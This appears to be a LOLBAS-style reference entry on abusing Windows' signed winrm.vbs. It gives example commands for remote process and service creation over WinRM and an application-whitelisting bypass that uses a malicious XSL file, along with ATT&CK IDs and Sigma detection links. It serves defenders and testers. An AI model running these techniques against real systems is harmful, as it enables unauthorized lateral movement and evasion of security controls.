.. /winrm.vbs

Execute | AWL bypass

Script used for manage Windows RM settings

Paths:
C:\Windows\System32\winrm.vbs
C:\Windows\SysWOW64\winrm.vbs

Resources:
- https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
- https://www.youtube.com/watch?v=3gz1QmiMhss
- https://github.com/enigma0x3/windows-operating-system-archaeology
- https://redcanary.com/blog/lateral-movement-winrm-wmi/
- https://twitter.com/bohops/status/994405551751815170
- https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404
- https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Acknowledgements:
- Matt Graeber (@mattifestation)
- Matt Nelson (@enigma0x3)
- Casey Smith (@subtee)
- Jimmy (@bohops)
- Red Canary Company cc Tony Lambert (@redcanaryco)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_awl_bypass.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_winrm_execution_via_scripting_api_winrm_vbs.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Execute

. Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

```
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="notepad.exe"} -r:http://target:5985
```

Use case: Proxy execution
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1216

. Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

```
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="cmd.exe /k
c:\windows\system32\notepad.exe"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?
Name=Evil -r:http://acmedc:5985
```

Use case: Proxy execution
Privileges required: Admin
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1216

AWL bypass

Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.

```
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -
format:pretty
```

Use case: Execute arbitrary, unsigned code via XSL script
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1220